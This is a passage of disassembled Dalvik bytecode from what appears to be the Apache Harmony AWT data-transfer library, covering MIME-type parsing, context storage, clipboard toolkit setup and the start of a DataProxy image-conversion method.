0000004A invoke-static MimeTypeProcessor$MimeType->access$0(MimeTypeProcessor$MimeType)Hashtable, p0
00000050 move-result-object v1
00000052 invoke-virtual Hashtable->get(Object)Object, v1, v0
00000058 move-result-object v1
0000005A check-cast v1, String
0000005E const-string v4, "; "
00000062 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v4
00000068 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v0
0000006E const-string v0, "=\""
00000072 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v0
00000078 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v1
0000007E const/16 v0, 0x22
00000082 invoke-virtual StringBuilder->append(C)StringBuilder, v2, v0
00000088 goto :28
.end method
.method private static getNextMeaningfulIndex(String, I)I
.registers 3
00000000 invoke-virtual String->length()I, p0
00000006 move-result v0
00000008 if-ge p1, v0, :20
:C
0000000C invoke-virtual String->charAt(I)C, p0, p1
00000012 move-result v0
00000014 invoke-static MimeTypeProcessor->isMeaningfulChar(C)Z, v0
0000001A move-result v0
0000001C if-eqz v0, :22
:20
00000020 return p1
:22
00000022 add-int/lit8 p1, p1, 0x1
00000026 goto :0
.end method
.method private static isMeaningfulChar(C)Z
.registers 2
00000000 const/16 v0, 0x21
00000004 if-lt p0, v0, :14
:8
00000008 const/16 v0, 0x7E
0000000C if-gt p0, v0, :14
:10
00000010 const/4 v0, 0x1
:12
00000012 return v0
:14
00000014 const/4 v0, 0x0
00000016 goto :12
.end method
.method private static isTSpecialChar(C)Z
.registers 2
00000000 const/16 v0, 0x28
00000004 if-eq p0, v0, :7C
:8
00000008 const/16 v0, 0x29
0000000C if-eq p0, v0, :7C
:10
00000010 const/16 v0, 0x5B
00000014 if-eq p0, v0, :7C
:18
00000018 const/16 v0, 0x5D
0000001C if-eq p0, v0, :7C
:20
00000020 const/16 v0, 0x3C
00000024 if-eq p0, v0, :7C
:28
00000028 const/16 v0, 0x3E
0000002C if-eq p0, v0, :7C
:30
00000030 const/16 v0, 0x40
00000034 if-eq p0, v0, :7C
:38
00000038 const/16 v0, 0x2C
0000003C if-eq p0, v0, :7C
:40
00000040 const/16 v0, 0x3B
00000044 if-eq p0, v0, :7C
:48
00000048 const/16 v0, 0x3A
0000004C if-eq p0, v0, :7C
:50
00000050 const/16 v0, 0x5C
00000054 if-eq p0, v0, :7C
:58
00000058 const/16 v0, 0x22
0000005C if-eq p0, v0, :7C
:60
00000060 const/16 v0, 0x2F
00000064 if-eq p0, v0, :7C
:68
00000068 const/16 v0, 0x3F
0000006C if-eq p0, v0, :7C
:70
00000070 const/16 v0, 0x3D
00000074 if-eq p0, v0, :7C
:78
00000078 const/4 v0, 0x0
:7A
0000007A return v0
:7C
0000007C const/4 v0, 0x1
0000007E goto :7A
.end method
.method static parse(String)MimeTypeProcessor$MimeType
.registers 4
00000000 sget-object v0, MimeTypeProcessor->instance:MimeTypeProcessor
00000004 if-nez v0, :16
:8
00000008 new-instance v0, MimeTypeProcessor
0000000C invoke-direct MimeTypeProcessor-><init>()V, v0
00000012 sput-object v0, MimeTypeProcessor->instance:MimeTypeProcessor
:16
00000016 new-instance v0, MimeTypeProcessor$MimeType
0000001A invoke-direct MimeTypeProcessor$MimeType-><init>()V, v0
00000020 if-eqz p0, :3C
:24
00000024 new-instance v1, MimeTypeProcessor$StringPosition
00000028 const/4 v2, 0x0
0000002A invoke-direct MimeTypeProcessor$StringPosition-><init>(MimeTypeProcessor$StringPosition)V, v1, v2
00000030 invoke-static MimeTypeProcessor->retrieveType(String, MimeTypeProcessor$MimeType, MimeTypeProcessor$StringPosition)V, p0, v0, v1
00000036 invoke-static MimeTypeProcessor->retrieveParams(String, MimeTypeProcessor$MimeType, MimeTypeProcessor$StringPosition)V, p0, v0, v1
:3C
0000003C return-object v0
.end method
.method private static retrieveParam(String, MimeTypeProcessor$MimeType, MimeTypeProcessor$StringPosition)V
.registers 6
00000000 invoke-static MimeTypeProcessor->retrieveToken(String, MimeTypeProcessor$StringPosition)String, p0, p2
00000006 move-result-object v0
00000008 invoke-virtual String->toLowerCase()String, v0
0000000E move-result-object v1
00000010 iget v0, p2, MimeTypeProcessor$StringPosition->i:I
00000014 invoke-static MimeTypeProcessor->getNextMeaningfulIndex(String, I)I, p0, v0
0000001A move-result v0
0000001C iput v0, p2, MimeTypeProcessor$StringPosition->i:I
00000020 iget v0, p2, MimeTypeProcessor$StringPosition->i:I
00000024 invoke-virtual String->length()I, p0
0000002A move-result v2
0000002C if-ge v0, v2, :44
:30
00000030 iget v0, p2, MimeTypeProcessor$StringPosition->i:I
00000034 invoke-virtual String->charAt(I)C, p0, v0
0000003A move-result v0
0000003C const/16 v2, 0x3D
00000040 if-eq v0, v2, :50
:44
00000044 new-instance v0, IllegalArgumentException
00000048 invoke-direct IllegalArgumentException-><init>()V, v0
0000004E throw v0
:50
00000050 iget v0, p2, MimeTypeProcessor$StringPosition->i:I
00000054 add-int/lit8 v0, v0, 0x1
00000058 iput v0, p2, MimeTypeProcessor$StringPosition->i:I
0000005C iget v0, p2, MimeTypeProcessor$StringPosition->i:I
00000060 invoke-static MimeTypeProcessor->getNextMeaningfulIndex(String, I)I, p0, v0
00000066 move-result v0
00000068 iput v0, p2, MimeTypeProcessor$StringPosition->i:I
0000006C iget v0, p2, MimeTypeProcessor$StringPosition->i:I
00000070 invoke-virtual String->length()I, p0
00000076 move-result v2
00000078 if-lt v0, v2, :88
:7C
0000007C new-instance v0, IllegalArgumentException
00000080 invoke-direct IllegalArgumentException-><init>()V, v0
00000086 throw v0
:88
00000088 iget v0, p2, MimeTypeProcessor$StringPosition->i:I
0000008C invoke-virtual String->charAt(I)C, p0, v0
00000092 move-result v0
00000094 const/16 v2, 0x22
00000098 if-ne v0, v2, :B4
:9C
0000009C invoke-static MimeTypeProcessor->retrieveQuoted(String, MimeTypeProcessor$StringPosition)String, p0, p2
000000A2 move-result-object v0
:A4
000000A4 invoke-static MimeTypeProcessor$MimeType->access$0(MimeTypeProcessor$MimeType)Hashtable, p1
000000AA move-result-object v2
000000AC invoke-virtual Hashtable->put(Object, Object)Object, v2, v1, v0
000000B2 return-void
:B4
000000B4 invoke-static MimeTypeProcessor->retrieveToken(String, MimeTypeProcessor$StringPosition)String, p0, p2
000000BA move-result-object v0
000000BC goto :A4
.end method
.method private static retrieveParams(String, MimeTypeProcessor$MimeType, MimeTypeProcessor$StringPosition)V
.registers 5
00000000 new-instance v0, Hashtable
00000004 invoke-direct Hashtable-><init>()V, v0
0000000A invoke-static MimeTypeProcessor$MimeType->access$3(MimeTypeProcessor$MimeType, Hashtable)V, p1, v0
00000010 new-instance v0, Hashtable
00000014 invoke-direct Hashtable-><init>()V, v0
0000001A invoke-static MimeTypeProcessor$MimeType->access$4(MimeTypeProcessor$MimeType, Hashtable)V, p1, v0
:20
00000020 iget v0, p2, MimeTypeProcessor$StringPosition->i:I
00000024 invoke-static MimeTypeProcessor->getNextMeaningfulIndex(String, I)I, p0, v0
0000002A move-result v0
0000002C iput v0, p2, MimeTypeProcessor$StringPosition->i:I
00000030 iget v0, p2, MimeTypeProcessor$StringPosition->i:I
00000034 invoke-virtual String->length()I, p0
0000003A move-result v1
0000003C if-lt v0, v1, :42
:40
00000040 return-void
:42
00000042 iget v0, p2, MimeTypeProcessor$StringPosition->i:I
00000046 invoke-virtual String->charAt(I)C, p0, v0
0000004C move-result v0
0000004E const/16 v1, 0x3B
00000052 if-eq v0, v1, :62
:56
00000056 new-instance v0, IllegalArgumentException
0000005A invoke-direct IllegalArgumentException-><init>()V, v0
00000060 throw v0
:62
00000062 iget v0, p2, MimeTypeProcessor$StringPosition->i:I
00000066 add-int/lit8 v0, v0, 0x1
0000006A iput v0, p2, MimeTypeProcessor$StringPosition->i:I
0000006E invoke-static MimeTypeProcessor->retrieveParam(String, MimeTypeProcessor$MimeType, MimeTypeProcessor$StringPosition)V, p0, p1, p2
00000074 goto :20
.end method
.method private static retrieveQuoted(String, MimeTypeProcessor$StringPosition)String
.registers 7
00000000 const/4 v1, 0x1
00000002 new-instance v2, StringBuilder
00000006 invoke-direct StringBuilder-><init>()V, v2
0000000C iget v0, p1, MimeTypeProcessor$StringPosition->i:I
00000010 add-int/lit8 v0, v0, 0x1
00000014 iput v0, p1, MimeTypeProcessor$StringPosition->i:I
00000018 move v0, v1
:1A
0000001A iget v3, p1, MimeTypeProcessor$StringPosition->i:I
0000001E invoke-virtual String->charAt(I)C, p0, v3
00000024 move-result v3
00000026 const/16 v4, 0x22
0000002A if-ne v3, v4, :48
:2E
0000002E if-eqz v0, :48
:32
00000032 iget v0, p1, MimeTypeProcessor$StringPosition->i:I
00000036 add-int/lit8 v0, v0, 0x1
0000003A iput v0, p1, MimeTypeProcessor$StringPosition->i:I
0000003E invoke-virtual StringBuilder->toString()String, v2
00000044 move-result-object v0
00000046 return-object v0
:48
00000048 iget v3, p1, MimeTypeProcessor$StringPosition->i:I
0000004C add-int/lit8 v4, v3, 0x1
00000050 iput v4, p1, MimeTypeProcessor$StringPosition->i:I
00000054 invoke-virtual String->charAt(I)C, p0, v3
0000005A move-result v3
0000005C if-nez v0, :88
:60
00000060 move v0, v1
:62
00000062 if-eqz v0, :6C
:66
00000066 invoke-virtual StringBuilder->append(C)StringBuilder, v2, v3
:6C
0000006C iget v3, p1, MimeTypeProcessor$StringPosition->i:I
00000070 invoke-virtual String->length()I, p0
00000076 move-result v4
00000078 if-ne v3, v4, :1A
:7C
0000007C new-instance v0, IllegalArgumentException
00000080 invoke-direct IllegalArgumentException-><init>()V, v0
00000086 throw v0
:88
00000088 const/16 v4, 0x5C
0000008C if-ne v3, v4, :62
:90
00000090 const/4 v0, 0x0
00000092 goto :62
.end method
.method private static retrieveToken(String, MimeTypeProcessor$StringPosition)String
.registers 5
00000000 new-instance v0, StringBuilder
00000004 invoke-direct StringBuilder-><init>()V, v0
0000000A iget v1, p1, MimeTypeProcessor$StringPosition->i:I
0000000E invoke-static MimeTypeProcessor->getNextMeaningfulIndex(String, I)I, p0, v1
00000014 move-result v1
00000016 iput v1, p1, MimeTypeProcessor$StringPosition->i:I
0000001A iget v1, p1, MimeTypeProcessor$StringPosition->i:I
0000001E invoke-virtual String->length()I, p0
00000024 move-result v2
00000026 if-ge v1, v2, :42
:2A
0000002A iget v1, p1, MimeTypeProcessor$StringPosition->i:I
0000002E invoke-virtual String->charAt(I)C, p0, v1
00000034 move-result v1
00000036 invoke-static MimeTypeProcessor->isTSpecialChar(C)Z, v1
0000003C move-result v1
0000003E if-eqz v1, :4E
:42
00000042 new-instance v0, IllegalArgumentException
00000046 invoke-direct IllegalArgumentException-><init>()V, v0
0000004C throw v0
:4E
0000004E iget v1, p1, MimeTypeProcessor$StringPosition->i:I
00000052 add-int/lit8 v2, v1, 0x1
00000056 iput v2, p1, MimeTypeProcessor$StringPosition->i:I
0000005A invoke-virtual String->charAt(I)C, p0, v1
00000060 move-result v1
00000062 invoke-virtual StringBuilder->append(C)StringBuilder, v0, v1
00000068 iget v1, p1, MimeTypeProcessor$StringPosition->i:I
0000006C invoke-virtual String->length()I, p0
00000072 move-result v2
00000074 if-ge v1, v2, :A8
:78
00000078 iget v1, p1, MimeTypeProcessor$StringPosition->i:I
0000007C invoke-virtual String->charAt(I)C, p0, v1
00000082 move-result v1
00000084 invoke-static MimeTypeProcessor->isMeaningfulChar(C)Z, v1
0000008A move-result v1
0000008C if-eqz v1, :A8
:90
00000090 iget v1, p1, MimeTypeProcessor$StringPosition->i:I
00000094 invoke-virtual String->charAt(I)C, p0, v1
0000009A move-result v1
0000009C invoke-static MimeTypeProcessor->isTSpecialChar(C)Z, v1
000000A2 move-result v1
000000A4 if-eqz v1, :4E
:A8
000000A8 invoke-virtual StringBuilder->toString()String, v0
000000AE move-result-object v0
000000B0 return-object v0
.end method
.method private static retrieveType(String, MimeTypeProcessor$MimeType, MimeTypeProcessor$StringPosition)V
.registers 5
00000000 invoke-static MimeTypeProcessor->retrieveToken(String, MimeTypeProcessor$StringPosition)String, p0, p2
00000006 move-result-object v0
00000008 invoke-virtual String->toLowerCase()String, v0
0000000E move-result-object v0
00000010 invoke-static MimeTypeProcessor$MimeType->access$1(MimeTypeProcessor$MimeType, String)V, p1, v0
00000016 iget v0, p2, MimeTypeProcessor$StringPosition->i:I
0000001A invoke-static MimeTypeProcessor->getNextMeaningfulIndex(String, I)I, p0, v0
00000020 move-result v0
00000022 iput v0, p2, MimeTypeProcessor$StringPosition->i:I
00000026 iget v0, p2, MimeTypeProcessor$StringPosition->i:I
0000002A invoke-virtual String->length()I, p0
00000030 move-result v1
00000032 if-ge v0, v1, :4A
:36
00000036 iget v0, p2, MimeTypeProcessor$StringPosition->i:I
0000003A invoke-virtual String->charAt(I)C, p0, v0
00000040 move-result v0
00000042 const/16 v1, 0x2F
00000046 if-eq v0, v1, :56
:4A
0000004A new-instance v0, IllegalArgumentException
0000004E invoke-direct IllegalArgumentException-><init>()V, v0
00000054 throw v0
:56
00000056 iget v0, p2, MimeTypeProcessor$StringPosition->i:I
0000005A add-int/lit8 v0, v0, 0x1
0000005E iput v0, p2, MimeTypeProcessor$StringPosition->i:I
00000062 invoke-static MimeTypeProcessor->retrieveToken(String, MimeTypeProcessor$StringPosition)String, p0, p2
00000068 move-result-object v0
0000006A invoke-virtual String->toLowerCase()String, v0
00000070 move-result-object v0
00000072 invoke-static MimeTypeProcessor$MimeType->access$2(MimeTypeProcessor$MimeType, String)V, p1, v0
00000078 return-void
.end method
#--------------------------------------------------------------------------------
.class public UnsupportedFlavorException
.super Exception
.source ""
.field private static final serialVersionUID:J = 0x4AB7272AC88F5CC1L
.method public constructor <init>(DataFlavor)V
.registers 4
00000000 new-instance v0, StringBuilder
00000004 const-string v1, "flavor = "
00000008 invoke-direct StringBuilder-><init>(String)V, v0, v1
0000000E invoke-static String->valueOf(Object)String, p1
00000014 move-result-object v1
00000016 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
0000001C move-result-object v0
0000001E invoke-virtual StringBuilder->toString()String, v0
00000024 move-result-object v0
00000026 invoke-direct Exception-><init>(String)V, p0, v0
0000002C return-void
.end method
#--------------------------------------------------------------------------------
.class ContextStorage$ContextLock
.super Object
.source ""
.field final synthetic this$0:ContextStorage
.method private constructor <init>(ContextStorage)V
.registers 2
00000000 iput-object p1, p0, ContextStorage$ContextLock->this$0:ContextStorage
00000004 invoke-direct Object-><init>()V, p0
0000000A return-void
.end method
.method synthetic constructor <init>(ContextStorage, ContextStorage$ContextLock)V
.registers 3
00000000 invoke-direct ContextStorage$ContextLock-><init>(ContextStorage)V, p0, p1
00000006 return-void
.end method
#--------------------------------------------------------------------------------
.class public final ContextStorage
.super Object
.source ""
.field private static final globalContext:ContextStorage
.field private final contextLock:Object
.field private dtk:DTK
.field private graphicsEnvironment:GraphicsEnvironment
.field private volatile bridge shutdownPending:Z
.field private toolkit:Toolkit
.method static constructor <clinit>()V
.registers 1
00000000 new-instance v0, ContextStorage
00000004 invoke-direct ContextStorage-><init>()V, v0
0000000A sput-object v0, ContextStorage->globalContext:ContextStorage
0000000E return-void
.end method
.method public constructor <init>()V
.registers 3
00000000 invoke-direct Object-><init>()V, p0
00000006 const/4 v0, 0x0
00000008 iput-boolean v0, p0, ContextStorage->shutdownPending:Z
0000000C new-instance v0, ContextStorage$ContextLock
00000010 const/4 v1, 0x0
00000012 invoke-direct ContextStorage$ContextLock-><init>(ContextStorage, ContextStorage$ContextLock)V, v0, p0, v1
00000018 iput-object v0, p0, ContextStorage->contextLock:Object
0000001C return-void
.end method
.method public static getContextLock()Object
.registers 1
00000000 invoke-static ContextStorage->getCurrentContext()ContextStorage
00000006 move-result-object v0
00000008 iget-object v0, v0, ContextStorage->contextLock:Object
0000000C return-object v0
.end method
.method private static getCurrentContext()ContextStorage
.registers 1
00000000 sget-object v0, ContextStorage->globalContext:ContextStorage
00000004 return-object v0
.end method
.method public static getDTK()DTK
.registers 1
00000000 invoke-static ContextStorage->getCurrentContext()ContextStorage
00000006 move-result-object v0
00000008 iget-object v0, v0, ContextStorage->dtk:DTK
0000000C return-object v0
.end method
.method public static getDefaultToolkit()Toolkit
.registers 1
00000000 invoke-static ContextStorage->getCurrentContext()ContextStorage
00000006 move-result-object v0
00000008 iget-object v0, v0, ContextStorage->toolkit:Toolkit
0000000C return-object v0
.end method
.method public static getGraphicsEnvironment()GraphicsEnvironment
.registers 1
00000000 invoke-static ContextStorage->getCurrentContext()ContextStorage
00000006 move-result-object v0
00000008 iget-object v0, v0, ContextStorage->graphicsEnvironment:GraphicsEnvironment
0000000C return-object v0
.end method
.method public static setDTK(DTK)V
.registers 2
00000000 invoke-static ContextStorage->getCurrentContext()ContextStorage
00000006 move-result-object v0
00000008 iput-object p0, v0, ContextStorage->dtk:DTK
0000000C return-void
.end method
.method public static setDefaultToolkit(Toolkit)V
.registers 2
00000000 invoke-static ContextStorage->getCurrentContext()ContextStorage
00000006 move-result-object v0
00000008 iput-object p0, v0, ContextStorage->toolkit:Toolkit
0000000C return-void
.end method
.method public static setGraphicsEnvironment(GraphicsEnvironment)V
.registers 2
00000000 invoke-static ContextStorage->getCurrentContext()ContextStorage
00000006 move-result-object v0
00000008 iput-object p0, v0, ContextStorage->graphicsEnvironment:GraphicsEnvironment
0000000C return-void
.end method
.method public static shutdownPending()Z
.registers 1
00000000 invoke-static ContextStorage->getCurrentContext()ContextStorage
00000006 move-result-object v0
00000008 iget-boolean v0, v0, ContextStorage->shutdownPending:Z
0000000C return v0
.end method
.method shutdown()V
.registers 1
00000000 return-void
.end method
#--------------------------------------------------------------------------------
.class public abstract DTK
.super Object
.source ""
.field protected final dataTransferThread:DataTransferThread
.field private nativeClipboard:NativeClipboard
.field private nativeSelection:NativeClipboard
.field protected systemFlavorMap:SystemFlavorMap
.method protected constructor <init>()V
.registers 2
00000000 const/4 v0, 0x0
00000002 invoke-direct Object-><init>()V, p0
00000008 iput-object v0, p0, DTK->nativeClipboard:NativeClipboard
0000000C iput-object v0, p0, DTK->nativeSelection:NativeClipboard
00000010 new-instance v0, DataTransferThread
00000014 invoke-direct DataTransferThread-><init>(DTK)V, v0, p0
0000001A iput-object v0, p0, DTK->dataTransferThread:DataTransferThread
0000001E iget-object v0, p0, DTK->dataTransferThread:DataTransferThread
00000022 invoke-virtual DataTransferThread->start()V, v0
00000028 return-void
.end method
.method private static createDTK()DTK
.registers 2
00000000 invoke-static SystemUtils->getOS()I
00000006 move-result v0
00000008 packed-switch v0, :54
:E
0000000E new-instance v0, RuntimeException
00000012 const-string v1, "awt.4E"
00000016 invoke-static Messages->getString(String)String, v1
0000001C move-result-object v1
0000001E invoke-direct RuntimeException-><init>(String)V, v0, v1
00000024 throw v0
:26
00000026 const-string v0, "org.apache.harmony.awt.datatransfer.windows.WinDTK"
:2A
0000002A invoke-static Class->forName(String)Class, v0
00000030 move-result-object v0
00000032 invoke-virtual Class->newInstance()Object, v0
00000038 move-result-object v0
0000003A check-cast v0, DTK
:3E
0000003E return-object v0
:40
00000040 const-string v0, "org.apache.harmony.awt.datatransfer.linux.LinuxDTK"
00000044 goto :2A
:46
00000046 move-exception v0
00000048 new-instance v1, RuntimeException
0000004C invoke-direct RuntimeException-><init>(Throwable)V, v1, v0
00000052 throw v1
.catch Exception {:2A .. :3E} :46
00000054 .packed-switch 0x1
:26
:40
.end packed-switch
.end method
.method public static getDTK()DTK
.registers 2
00000000 invoke-static ContextStorage->getContextLock()Object
00000006 move-result-object v1
00000008 monitor-enter v1
:A
0000000A invoke-static ContextStorage->shutdownPending()Z
00000010 move-result v0
00000012 if-eqz v0, :1C
:16
00000016 monitor-exit v1
00000018 const/4 v0, 0x0
:1A
0000001A return-object v0
:1C
0000001C invoke-static ContextStorage->getDTK()DTK
00000022 move-result-object v0
00000024 if-nez v0, :36
:28
00000028 invoke-static DTK->createDTK()DTK
0000002E move-result-object v0
00000030 invoke-static ContextStorage->setDTK(DTK)V, v0
:36
00000036 monitor-exit v1
00000038 goto :1A
:3A
0000003A move-exception v0
0000003C monitor-exit v1
:3E
0000003E throw v0
.catchall {:A .. :3E} :3A
.end method
.method protected appendSystemFlavorMap(SystemFlavorMap, DataFlavor, String)V
.registers 4
00000000 invoke-virtual SystemFlavorMap->addFlavorForUnencodedNative(String, DataFlavor)V, p1, p3, p2
00000006 invoke-virtual SystemFlavorMap->addUnencodedNativeForFlavor(DataFlavor, String)V, p1, p2, p3
0000000C return-void
.end method
.method protected appendSystemFlavorMap(SystemFlavorMap, [String, String, String)V
.registers 7
00000000 invoke-static TextFlavor->addUnicodeClasses(SystemFlavorMap, String, String)V, p1, p4, p3
00000006 const/4 v0, 0x0
:8
00000008 array-length v1, p2
0000000A if-lt v0, v1, :10
:E
0000000E return-void
:10
00000010 aget-object v1, p2, v0
00000014 if-eqz v1, :32
:18
00000018 aget-object v1, p2, v0
0000001C invoke-static Charset->isSupported(String)Z, v1
00000022 move-result v1
00000024 if-eqz v1, :32
:28
00000028 aget-object v1, p2, v0
0000002C invoke-static TextFlavor->addCharsetClasses(SystemFlavorMap, String, String, String)V, p1, p4, p3, v1
:32
00000032 add-int/lit8 v0, v0, 0x1
00000036 goto :8
.end method
.method public abstract createDragSourceContextPeer(DragGestureEvent)DragSourceContextPeer
.end method
.method public abstract createDropTargetContextPeer(DropTargetContext)DropTargetContextPeer
.end method
.method protected getCharsets()[String
.registers 4
00000000 const/4 v0, 0x5
00000002 new-array v0, v0, [String
00000006 const/4 v1, 0x0
00000008 const-string v2, "UTF-16"
0000000C aput-object v2, v0, v1
00000010 const/4 v1, 0x1
00000012 const-string v2, "UTF-8"
00000016 aput-object v2, v0, v1
0000001A const/4 v1, 0x2
0000001C const-string v2, "unicode"
00000020 aput-object v2, v0, v1
00000024 const/4 v1, 0x3
00000026 const-string v2, "ISO-8859-1"
0000002A aput-object v2, v0, v1
0000002E const/4 v1, 0x4
00000030 const-string v2, "US-ASCII"
00000034 aput-object v2, v0, v1
00000038 return-object v0
.end method
.method public getDefaultCharset()String
.registers 2
00000000 const-string v0, "unicode"
00000004 return-object v0
.end method
.method public getNativeClipboard()NativeClipboard
.registers 2
00000000 iget-object v0, p0, DTK->nativeClipboard:NativeClipboard
00000004 if-nez v0, :14
:8
00000008 invoke-virtual DTK->newNativeClipboard()NativeClipboard, p0
0000000E move-result-object v0
00000010 iput-object v0, p0, DTK->nativeClipboard:NativeClipboard
:14
00000014 iget-object v0, p0, DTK->nativeClipboard:NativeClipboard
00000018 return-object v0
.end method
.method public getNativeSelection()NativeClipboard
.registers 2
00000000 iget-object v0, p0, DTK->nativeSelection:NativeClipboard
00000004 if-nez v0, :14
:8
00000008 invoke-virtual DTK->newNativeSelection()NativeClipboard, p0
0000000E move-result-object v0
00000010 iput-object v0, p0, DTK->nativeSelection:NativeClipboard
:14
00000014 iget-object v0, p0, DTK->nativeSelection:NativeClipboard
00000018 return-object v0
.end method
.method public declared-synchronized getSystemFlavorMap()SystemFlavorMap
.registers 2
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, DTK->systemFlavorMap:SystemFlavorMap
:6
00000006 monitor-exit p0
00000008 return-object v0
:A
0000000A move-exception v0
0000000C monitor-exit p0
0000000E throw v0
.catchall {:2 .. :6} :A
.end method
.method public abstract initDragAndDrop()V
.end method
.method public initSystemFlavorMap(SystemFlavorMap)V
.registers 5
00000000 invoke-virtual DTK->getCharsets()[String, p0
00000006 move-result-object v0
00000008 sget-object v1, DataFlavor->stringFlavor:DataFlavor
0000000C const-string v2, "text/plain"
00000010 invoke-virtual DTK->appendSystemFlavorMap(SystemFlavorMap, DataFlavor, String)V, p0, p1, v1, v2
00000016 const-string v1, "plain"
0000001A const-string v2, "text/plain"
0000001E invoke-virtual DTK->appendSystemFlavorMap(SystemFlavorMap, [String, String, String)V, p0, p1, v0, v1, v2
00000024 const-string v1, "html"
00000028 const-string v2, "text/html"
0000002C invoke-virtual DTK->appendSystemFlavorMap(SystemFlavorMap, [String, String, String)V, p0, p1, v0, v1, v2
00000032 sget-object v1, DataProvider->urlFlavor:DataFlavor
00000036 const-string v2, "application/x-java-url"
0000003A invoke-virtual DTK->appendSystemFlavorMap(SystemFlavorMap, DataFlavor, String)V, p0, p1, v1, v2
00000040 const-string v1, "uri-list"
00000044 const-string v2, "application/x-java-url"
00000048 invoke-virtual DTK->appendSystemFlavorMap(SystemFlavorMap, [String, String, String)V, p0, p1, v0, v1, v2
0000004E sget-object v0, DataFlavor->javaFileListFlavor:DataFlavor
00000052 const-string v1, "application/x-java-file-list"
00000056 invoke-virtual DTK->appendSystemFlavorMap(SystemFlavorMap, DataFlavor, String)V, p0, p1, v0, v1
0000005C sget-object v0, DataFlavor->imageFlavor:DataFlavor
00000060 const-string v1, "image/x-java-image"
00000064 invoke-virtual DTK->appendSystemFlavorMap(SystemFlavorMap, DataFlavor, String)V, p0, p1, v0, v1
0000006A return-void
.end method
.method protected abstract newNativeClipboard()NativeClipboard
.end method
.method protected abstract newNativeSelection()NativeClipboard
.end method
.method public abstract runEventLoop()V
.end method
.method public declared-synchronized setSystemFlavorMap(SystemFlavorMap)V
.registers 3
00000000 monitor-enter p0
:2
00000002 iput-object p1, p0, DTK->systemFlavorMap:SystemFlavorMap
:6
00000006 monitor-exit p0
00000008 return-void
:A
0000000A move-exception v0
0000000C monitor-exit p0
0000000E throw v0
.catchall {:2 .. :6} :A
.end method
#--------------------------------------------------------------------------------
.class public abstract interface DataProvider
.super Object
.source ""
.field public static final FORMAT_FILE_LIST:String = "application/x-java-file-list"
.field public static final FORMAT_HTML:String = "text/html"
.field public static final FORMAT_IMAGE:String = "image/x-java-image"
.field public static final FORMAT_TEXT:String = "text/plain"
.field public static final FORMAT_URL:String = "application/x-java-url"
.field public static final TYPE_FILELIST:String = "application/x-java-file-list"
.field public static final TYPE_HTML:String = "text/html"
.field public static final TYPE_IMAGE:String = "image/x-java-image"
.field public static final TYPE_PLAINTEXT:String = "text/plain"
.field public static final TYPE_SERIALIZED:String = "application/x-java-serialized-object"
.field public static final TYPE_TEXTENCODING:String = "application/x-java-text-encoding"
.field public static final TYPE_URILIST:String = "text/uri-list"
.field public static final TYPE_URL:String = "application/x-java-url"
.field public static final uriFlavor:DataFlavor
.field public static final urlFlavor:DataFlavor
.method static constructor <clinit>()V
.registers 3
00000000 new-instance v0, DataFlavor
00000004 const-string v1, "application/x-java-url;class=java.net.URL"
00000008 const-string v2, "URL"
0000000C invoke-direct DataFlavor-><init>(String, String)V, v0, v1, v2
00000012 sput-object v0, DataProvider->urlFlavor:DataFlavor
00000016 new-instance v0, DataFlavor
0000001A const-string v1, "text/uri-list"
0000001E const-string v2, "URI"
00000022 invoke-direct DataFlavor-><init>(String, String)V, v0, v1, v2
00000028 sput-object v0, DataProvider->uriFlavor:DataFlavor
0000002C return-void
.end method
.method public abstract getFileList()[String
.end method
.method public abstract getHTML()String
.end method
.method public abstract getNativeFormats()[String
.end method
.method public abstract getRawBitmap()RawBitmap
.end method
.method public abstract getSerializedObject(Class)[B
.end method
.method public abstract getText()String
.end method
.method public abstract getURL()String
.end method
.method public abstract isNativeFormatAvailable(String)Z
.end method
#--------------------------------------------------------------------------------
.class public final DataProxy
.super Object
.source ""
.implements Transferable
.field public static final charsetTextClasses:[Class
.field public static final unicodeTextClasses:[Class
.field private final data:DataProvider
.field private final flavorMap:SystemFlavorMap
.method static constructor <clinit>()V
.registers 6
00000000 const/4 v5, 0x3
00000002 const/4 v4, 0x2
00000004 const/4 v3, 0x1
00000006 const/4 v2, 0x0
00000008 const/4 v0, 0x4
0000000A new-array v0, v0, [Class
0000000E const-class v1, String
00000012 aput-object v1, v0, v2
00000016 const-class v1, Reader
0000001A aput-object v1, v0, v3
0000001E const-class v1, CharBuffer
00000022 aput-object v1, v0, v4
00000026 const-class v1, [C
0000002A aput-object v1, v0, v5
0000002E sput-object v0, DataProxy->unicodeTextClasses:[Class
00000032 new-array v0, v5, [Class
00000036 const-class v1, [B
0000003A aput-object v1, v0, v2
0000003E const-class v1, ByteBuffer
00000042 aput-object v1, v0, v3
00000046 const-class v1, InputStream
0000004A aput-object v1, v0, v4
0000004E sput-object v0, DataProxy->charsetTextClasses:[Class
00000052 return-void
.end method
.method public constructor <init>(DataProvider)V
.registers 3
00000000 invoke-direct Object-><init>()V, p0
00000006 iput-object p1, p0, DataProxy->data:DataProvider
0000000A invoke-static SystemFlavorMap->getDefaultFlavorMap()FlavorMap
00000010 move-result-object v0
00000012 check-cast v0, SystemFlavorMap
00000016 iput-object v0, p0, DataProxy->flavorMap:SystemFlavorMap
0000001A return-void
.end method
.method private createBufferedImage(RawBitmap)BufferedImage
.registers 11
00000000 if-eqz p1, :1C
:4
00000004 iget-object v0, p1, RawBitmap->buffer:Object
00000008 if-eqz v0, :1C
:C
0000000C iget v0, p1, RawBitmap->width:I
00000010 if-lez v0, :1C
:14
00000014 iget v0, p1, RawBitmap->height:I
00000018 if-gtz v0, :20
:1C
0000001C const/4 v0, 0x0
:1E
0000001E return-object v0
:20
00000020 const/4 v1, 0x0
00000022 const/4 v0, 0x0
00000024 iget v2, p1, RawBitmap->bits:I
00000028 const/16 v3, 0x20
0000002C if-ne v2, v3, :D2
:30
00000030 iget-object v2, p1, RawBitmap->buffer:Object
00000034 instance-of v2, v2, [I
00000038 if-eqz v2, :D2
:3C
0000003C invoke-direct DataProxy->isRGB(RawBitmap)Z, p0, p1
00000042 move-result v0
00000044 if-nez v0, :58
:48
00000048 invoke-direct DataProxy->isBGR(RawBitmap)Z, p0, p1
0000004E move-result v0
00000050 if-nez v0, :58
:54
00000054 const/4 v0, 0x0
00000056 goto :1E
:58
00000058 const/4 v0, 0x3
0000005A new-array v4, v0, [I
0000005E const/4 v0, 0x0
